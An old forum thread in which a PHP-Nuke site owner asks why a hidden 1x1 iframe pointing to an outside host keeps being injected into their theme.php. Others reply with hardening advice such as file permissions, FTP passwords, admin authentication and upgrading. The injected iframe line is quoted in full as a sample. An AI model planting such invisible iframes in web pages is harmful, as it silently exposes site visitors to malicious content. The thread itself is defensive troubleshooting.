theme.php hacked

Hangin' Around Joined: Jul 20, 2006 Posts: 41

Someone keeps hacking my theme.php and adding this line in various places.

Code:

<iframe src='http://comrost.com/traffic/index.php' width=1 height=1></iframe>

Any ideas what this is, and how to stop it from recurring.

The latest NukeSentinel isn't stopping it.

Thanks

Posted: Fri Aug 04, 2006 6:00 am

What version of Nuke are you using?

Do you have any 3rd party modules?

Posted: Fri Aug 04, 2006 6:15 am

Is it possible they are doing it through FTP? NukeSentinel won't stop that.

Change your FTP password and see if it stops.

Posted: Fri Aug 04, 2006 6:50 am

If you have no third porty modules or forum hacks that do not allow file uploading, this is worrying.
Make sure your theme.php is CHMOD no higher than 644

Posted: Fri Aug 04, 2006 6:51 am

A link to your site would be useful too!

Posted: Fri Aug 04, 2006 7:34 am

Hi, using nuke 7.7patched and the latest nukesentinel. There are a few third party modules. Site is at: [ Only registered users can see links on this board! Get registered or login! ] I'm not using phpbb at all, but have a seperate install of smf.

Site Admin Joined: Jun 04, 2004 Posts: 6432

7.7 REMOVES the security for bad HTML (including iframes) and there's no way NukeSentinel can block that. Don't allow guests to submit news, comments, etc. That would help give you some idea of WHO is attacking.

Also, make sure you put admin authentication on both the admin.php and modules/Forums/admin directory.

Not sure if SMF is secure, but it probably doesn't use standard PHP-Nuke database access methods, which again, NukeSentinel cannot protect.

And follow Guardian's suggestions above.

Posted: Fri Aug 04, 2006 8:55 am

kguske wrote:

Also, make sure you put admin authentication on both the admin.php and modules/Forums/admin directory.

Thanks for that. Smile

I've implemented the other suggestions, but not sure how I go about this.

Posted: Fri Aug 04, 2006 11:50 am

NukeSentinel has instructions for doing this on the admin.php file. You'll need to do it manually for the modules/Forums/admin directory.

Note that this applies to all versions / distributions of Nuke whether or not you have NukeSentinel installed.

Posted: Sat Aug 05, 2006 7:58 am

Also make sure your site is patched to the latest 3.2b patches from [ Only registered users can see links on this board! Get registered or login! ] You are "playing with fire" using 7.7.

Posted: Mon Aug 07, 2006 3:49 am

montego wrote:

You are "playing with fire" using 7.7.

Taken on board and just migrated to RavenNuke76. Wink